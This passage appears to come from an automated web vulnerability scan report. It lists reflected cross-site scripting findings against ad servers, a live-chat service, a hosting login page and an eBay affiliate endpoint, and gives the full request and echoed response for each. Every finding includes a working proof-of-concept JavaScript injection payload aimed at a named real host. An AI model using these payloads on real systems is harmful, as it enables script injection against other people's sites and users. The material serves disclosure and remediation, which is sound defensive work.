GET /adj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;ord=110916093024416?&3ff71'-alert(1)-'ea28fe8c229=1 HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/1.0.5
Date: Fri, 16 Sep 2011 16:30:30 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:30 GMT
Content-Length: 570

var cmPageURL; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var cmifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt type="text/javascript" lang
...[SNIP]...
tp://a.collective-media.net/cmadj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?&3ff71'-alert(1)-'ea28fe8c229=1;'+cmifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

2.5. http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3e20'-alert(1)-'8c1518f6d09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadjb3e20'-alert(1)-'8c1518f6d09/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;ord1=216411;cmpgurl=http%253A//www.drugstore.com/? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Fri, 16 Sep 2011 16:30:32 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 8061

var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30121707243_1316190632","http://ad.doubleclick.net/adjb3e20'-alert(1)-'8c1518f6d09/ds.home/default;net=wfm;u=ds,wfm-30121707243_1316190632,121773f9380f32f,dshp,wfm.dshp_h-wfm.health_l-cm.polit_l-cm.health_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcop
...[SNIP]...

2.6. http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da4da'-alert(1)-'89b82744ef9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ds.homeda4da'-alert(1)-'89b82744ef9/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;ord1=216411;cmpgurl=http%253A//www.drugstore.com/? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/1.0.5
Date: Fri, 16 Sep 2011 16:30:33 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 8065

var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30519001628_1316190633","http://ad.doubleclick.net/adj/ds.homeda4da'-alert(1)-'89b82744ef9/default;net=wfm;u=ds,wfm-30519001628_1316190633,121773f9380f32f,health,wfm.dshp_h-wfm.health_l-cm.polit_l-cm.health_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcopt=ist;
...[SNIP]...

2.7. http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38ef6'-alert(1)-'c2fc6974a7b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ds.home/default38ef6'-alert(1)-'c2fc6974a7b;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;ord1=216411;cmpgurl=http%253A//www.drugstore.com/? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/1.0.5
Date: Fri, 16 Sep 2011 16:30:33 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 8093

var cid='121773f9380f32f';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._i
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("wfm-30510327174_1316190633","http://ad.doubleclick.net/adj/ds.home/default38ef6'-alert(1)-'c2fc6974a7b;net=wfm;u=ds,wfm-30510327174_1316190633,121773f9380f32f,health,wfm.dshp_h-wfm.health_m-cm.polit_l-cm.health_l-cm.educat_l;;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;dcopt=
...[SNIP]...

2.8. http://a.collective-media.net/cmadj/ds.home/default [cmn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ds.home/default

Issue detail

The value of the cmn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61e7d'-alert(1)-'f129e51cc13 was submitted in the cmn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ds.home/default;cmn=61e7d'-alert(1)-'f129e51cc13 HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Fri, 16 Sep 2011 16:30:32 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 1949

var cid='121773f9380f32f';var CollectiveMedia={rand:function(a){return Math.floor(Math.random()*a)},appendChild:function(a,b){if(null==a.canHaveChildren||a.canHaveChildren){a.appendChild(document.crea
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("61e7d'-alert(1)-'f129e51cc13-30300231480_1316190632","http://ad.doubleclick.net/adj/ds.home/default;net=61e7d'-alert(1)-'f129e51cc13;u=,61e7d'-alert(1)-'f129e51cc13-30300231480_1316190632,121773f9380f32f,dshp,cm.polit_l-cm.health
...[SNIP]...

2.9. http://event.adxpose.com/event.flow [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload d1dc5<script>alert(1)</script>4c4547dbd5e was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /event.flow?eventcode=000_000_12&location=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-3796773913386149%26output%3Dhtml%26h%3D250%26slotname%3D1161958565%26w%3D300%26lmt%3D1316226341%26flash%3D10.3.183%26url%3Dhttp%253A%252F%252Fportal.opera.com%252Fportal%252Ftabs%252F%253Ftab_name%253DNews%26dt%3D1316208341657%26bpp%3D148%26shv%3Dr20110907%26jsv%3Dr20110914%26correlator%3D1316208341881%26frm%3D4%26adk%3D265923585%26ga_vid%3D1095286181.1316208009%26ga_sid%3D1316208009%26ga_hid%3D320694430%26ga_fc%3D1%26u_tz%3D-300%26u_his%3D2%26u_java%3D1%26u_h%3D1200%26u_w%3D1920%26u_ah%3D1156%26u_aw%3D1920%26u_cd%3D16%26u_nplug%3D20%26u_nmime%3D100%26dff%3Darial%26dfs%3D12%26adx%3D739%26ady%3D181%26biw%3D1131%26bih%3D870%26eid%3D36887102%26ref%3Dhttp%253A%252F%252Fportal.opera.com%252F%26prodhost%3Dgoogleads.g.doubleclick.net%26fu%3D0%26ifi%3D1%26dtd%3D240%26xpc%3DNxfq0ro1Gs%26p%3Dhttp%253A%2F%2Fportal.opera.com&uid=TVYMYp4lQTRs9JsS_40691941d1dc5<script>alert(1)</script>4c4547dbd5e&xy=0%2C0&wh=300%2C250&vchannel=59371577&cid=3941858&iad=1316208343619-68901827069930740&cookieenabled=1&screenwh=1920%2C1200&adwh=300%2C250&colordepth=16&flash=10.3&iframed=1 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ec39c893-8f48-41a8-9b1f-be5afaba100a

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=435CAAA3CA29D743642F6E40D86D8E18; Path=/
Cache-Control: no-store
Content-Type: text/javascript;charset=UTF-8
Content-Length: 147
Date: Fri, 16 Sep 2011 16:24:56 GMT
Connection: close

if (typeof __ADXPOSE_EVENT_QUEUES__ !== "undefined") __ADXPOSE_DRAIN_QUEUE__("TVYMYp4lQTRs9JsS_40691941d1dc5<script>alert(1)</script>4c4547dbd5e");

2.10. http://livechat.iadvize.com/rpc/referrer.php [get parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/rpc/referrer.php

Issue detail

The value of the get request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffdf0'%3balert(1)//e383b46113a was submitted in the get parameter. This input was echoed as ffdf0';alert(1)//e383b46113a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rpc/referrer.php?s=1821&get=http%3A%2F%2Fwww.google.com%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp%2Bserverffdf0'%3balert(1)//e383b46113a&random=1316204846918 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/features/smtp-relay-service.html?gclid=CKqV0feJoqsCFQdzgwod6j2wjw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; 1821vvc=1; 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%7D; 1821_idz=Wlkt70s3xZ6riGI4fumNJq%2FupYB8lAU%2F73%2Frx%2BlKcWm%2BPxOTMJA9USWEgtoWccdSkDkxnLE7JXOsJw5mlMEkzorVTslVkO%2BKndGjVRzv9ddZiIASn0aiI417pqnen2C%2BPCawyns5jF7t%2BJ6yDefIW%2BIt7Q4Z

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:27:26 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A12%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A34000%2C%22origin_site%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dsmtp+serverffdf0%27%3Balert%281%29%5C%2F%5C%2Fe383b46113a%22%2C%22origin%22%3A%22search+engine%22%2C%22refengine%22%3A%22Google%22%2C%22refkeyword%22%3A%22smtp+serverffdf0%27%3Balert%281%29%5C%2F%5C%2Fe383b46113a%22%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fhl%3Den%26q%3D%250031c47%3Ca%2520b%253dc%3Ed77f287482c%22%2C%22timeElapsed%22%3A0.57%7D; path=/
Vary: Accept-Encoding
Content-Length: 320

iAdvize.vStats['origin_site'] = 'http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp serverffdf0';alert(1)//e383b46113a';iAdvize.vStats['origin'] = 'search engine';iAdvize.vStats['refengine'] = 'Google';iAdvize.vStats['refkeyword'] = 'smtp serverffdf0';alert(1)//e383b46113a';iAdvize.util.delScript('referrer');

2.11. http://livechat.iadvize.com/rpc/referrer.php [get parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/rpc/referrer.php

Issue detail

The value of the get request parameter is copied into the HTML document as plain text between tags. The payload a5deb<script>alert(1)</script>cbf95be69eb was submitted in the get parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rpc/referrer.php?s=1821&get=a5deb<script>alert(1)</script>cbf95be69eb&random=1316204846918 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/features/smtp-relay-service.html?gclid=CKqV0feJoqsCFQdzgwod6j2wjw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; 1821vvc=1; 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%7D; 1821_idz=Wlkt70s3xZ6riGI4fumNJq%2FupYB8lAU%2F73%2Frx%2BlKcWm%2BPxOTMJA9USWEgtoWccdSkDkxnLE7JXOsJw5mlMEkzorVTslVkO%2BKndGjVRzv9ddZiIASn0aiI417pqnen2C%2BPCawyns5jF7t%2BJ6yDefIW%2BIt7Q4Z

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:27:29 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A12%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A34000%2C%22origin_site%22%3A%22a5deb%3Cscript%3Ealert%281%29%3C%5C%2Fscript%3Ecbf95be69eb%22%2C%22origin%22%3A%22website%22%2C%22refengine%22%3A%22%22%2C%22refkeyword%22%3A%22%22%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fhl%3Den%26q%3D%250031c47%3Ca%2520b%253dc%3Ed77f287482c%22%2C%22timeElapsed%22%3A0.57%7D; path=/
Vary: Accept-Encoding
Content-Length: 215

iAdvize.vStats['origin_site'] = 'a5deb<script>alert(1)</script>cbf95be69eb';iAdvize.vStats['origin'] = 'website';iAdvize.vStats['refengine'] = '';iAdvize.vStats['refkeyword'] = '';iAdvize.util.delScript('referrer');

2.12. https://login.secureserver.net/js.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/js.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56880'-alert(1)-'92e88d0f44b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js.php?group=main&r=1.34&56880'-alert(1)-'92e88d0f44b=1 HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://login.secureserver.net/?app=wbe
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 23 Aug 2012 22:35:29 GMT
Last-Modified: Wed, 24 Aug 2011 22:35:29 GMT
Cache-Control: public, max-age=31536000, post-check=31536000 pre-check=31536000
Pragma: !invalid
ETag: js_group_main_c6fc5ed2e22a1730208a6aae8ac0133d
Content-Control: cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript
Content-Length: 50696

/*
@package Base
@author securserver.net

Workspace Login

@version: 1.34 (1.34)
@generated: 2011-09-16 10:12:38
@tag: js_group_main_c6fc5ed2e22a1730208a6aae8ac0133d
*/

function Env
...[SNIP]...
turn new AjaxConnection("ajax.php").remoteCall("Pass","validateName",Ajax.args(arguments),this.__listener);};

if ( typeof(loaded) == 'undefined' ) var loaded = {};
loaded['/js.php?group=main&r=1.34&56880'-alert(1)-'92e88d0f44b=1'] = 1;

2.13. https://login.secureserver.net/js.php [r parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/js.php

Issue detail

The value of the r request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e4ab'-alert(1)-'bd22409da8a was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js.php?group=main&r=1.346e4ab'-alert(1)-'bd22409da8a HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://login.secureserver.net/?app=wbe
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 24 Feb 1982 15:42:00 GMT
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript
Content-Length: 50693

/*
@package Base
@author securserver.net

Workspace Login

@version: 1.34 (1.34)
@generated: 2011-09-16 10:39:45
@tag: js_group_main_c6fc5ed2e22a1730208a6aae8ac0133d
*/

function Env
...[SNIP]...
eturn new AjaxConnection("ajax.php").remoteCall("Pass","validateName",Ajax.args(arguments),this.__listener);};

if ( typeof(loaded) == 'undefined' ) var loaded = {};
loaded['/js.php?group=main&r=1.346e4ab'-alert(1)-'bd22409da8a'] = 1;

2.14. http://rover.ebay.com/ar/1/711-53200-19255-108/1 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 268ae'-alert(1)-'7ee8b452bb0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ar/1/711-53200-19255-108268ae'-alert(1)-'7ee8b452bb0/1?campid=5336830850&toolid=7115320019255108&customid=&mpt=206427233991&adtype=3&size=300x250&mpvc= HTTP/1.1
Host: rover.ebay.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: npii=btrm/svid%3D64654388197505092ad^cguid/62d7951f1320a479e7268c86ff361dd1505092ad^

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
RlogId: p4n%60rujfudlwc%3D9vt*ts67.03%3F53%604-132730a3a4a
Set-Cookie: npii=btrm/svid%3D646543881975054aada^cguid/62d7951f1320a479e7268c86ff361dd15054aada^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:42 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE"
Cache-Control: private, no-cache
Pragma: no-cache
Content-Type: application/x-javascript
Content-Length: 205
Date: Fri, 16 Sep 2011 16:20:41 GMT

document.write('<a target="_top" href="http://rover.ebay.com/rover/1/711-53200-19255-108268ae'-alert(1)-'7ee8b452bb0/1"><img border=0 src="http://pics.ebaystatic.com/aw/pics/im/default_300x250.jpg" ><
...[SNIP]...

2.15. http://rover.ebay.com/ar/1/711-53200-19255-108/1 [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6612'%3balert(1)//4069d253df3 was submitted in the mpvc parameter. This input was echoed as d6612';alert(1)//4069d253df3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ar/1/711-53200-19255-108/1?campid=5336830850&toolid=7115320019255108&customid=&mpt=206427233991&adtype=3&size=300x250&mpvc=d6612'%3balert(1)//4069d253df3 HTTP/1.1
Host: rover.ebay.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: npii=btrm/svid%3D64654388197505092ad^cguid/62d7951f1320a479e7268c86ff361dd1505092ad^

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
RlogId: p4n%60rujfudlwc%3D9un*ts67.17d%3Aa5%3E-132730a22e0
Set-Cookie: npii=btrm/svid%3D646543881975054aad4^cguid/62d7951f1320a479e7268c86ff361dd15054aad4^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:36 GMT; Path=/
